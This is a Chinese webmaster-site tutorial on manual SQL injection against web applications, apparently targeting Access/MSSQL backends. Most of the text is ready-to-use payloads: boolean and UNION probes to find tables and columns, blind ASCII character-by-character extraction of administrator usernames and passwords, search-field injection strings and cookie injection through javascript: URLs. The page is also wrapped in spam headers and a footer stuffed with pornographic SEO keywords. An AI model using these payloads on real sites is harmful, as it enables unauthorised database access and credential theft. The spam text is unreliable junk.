精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網

17站長網 首頁 安全 安全教程 查看內容

手工注入猜解語句教程

2022-9-24 12:59| 查看: 2200 |來源: 互聯網

猜解表名: and exists (select * from 表名) 猜解列名: and exists (select 字段 from 表名) UNION法: 聯合查詢: select name,password,id from user union select user,pwd,uid from 爆指定表名內容:
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
聯合查詢:
select name,password,id from user union select user,pwd,uid from
爆指定表名內容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解碼法:
1、猜解列長度
猜解語句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是數字,變換這個N的值猜解列長度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都顯示正常頁面,猜到7的時候返回錯誤(大于6并且小于等于7),那么該列的長度為7。因為“top 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII碼分析法猜解用戶和密碼
ASC()函數和Mid函數
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:
and (select top 1 asc(mid(字段,1,1)) from 數據庫名)=ASC碼(通過轉換工具換)
區間判斷語句:
“......between......and......”
中文處理法:
當ASCII轉換后為“負數”使用abs()函數取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼(通過轉換工具換)
ASCII逐字解碼法的應用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理員用戶個數:
and (select count(*) from 表名)=1
返回正常,表中有一條記錄。
4、猜解管理員用戶名的長度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理員用戶名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,只要把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。
搜索型注入漏洞利用猜解語句:
關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了。

cookie注入語句:
javascript:alert(document.cookie="id=" escape("44 and 1=1"));
javascript:alert(document.cookie="id=" escape("44 and 1=2"));
猜解語句:
猜解長度:
javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
猜解內容:
javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))
本文最后更新于 2022-9-24 12:59,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:[email protected]
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 国产视频日韩 | 国产日产欧美一区二区三区 | 久久不射视频 | 国产女主播一二三区丝袜美腿 | 亚洲最新黄色网址 | 岛国a级片 | 国产一区二区三区四卡 | 国产毛片一级国语版 | 午夜国产精品久久影院 | 在线观看www视频 | 精品日韩在线视频 | 无码一区二区三区视频 | 高清免费国产在线观看 | 国产亚洲欧美在线人成aaaa | 婷婷四房色播 | 日本一级毛片视频 | 日韩精品欧美一区二区三区 | 黄页成人免费网站 | 亚洲国产精品毛片∧v卡在线 | 日产免费线路一页二页 | 欧美一级大片免费看 | 欧美一级性| 一级黄色免费 | 欧美性综合 | 九九免费精品视频在这里 | 成人三级毛片 | 最新国产成人综合在线观看 | 在线免费看影视网站入口 | 成人做爰全过程免费的叫床看视频 | 免看一级a一片成人123 | 日本高清在线一区二区三区 | 91外围| 北条麻妃一区二区三区 | 亚洲免费看片 | 国产婷婷一区二区在线观看 | 免费看欧美毛片大片免费看 | 一区二区在线播放福利视频 | 国内真实愉拍系列情侣 | 免费观看一级特黄欧美大片 | 国产主播久久 | 日韩 欧美 中文字幕 不卡 |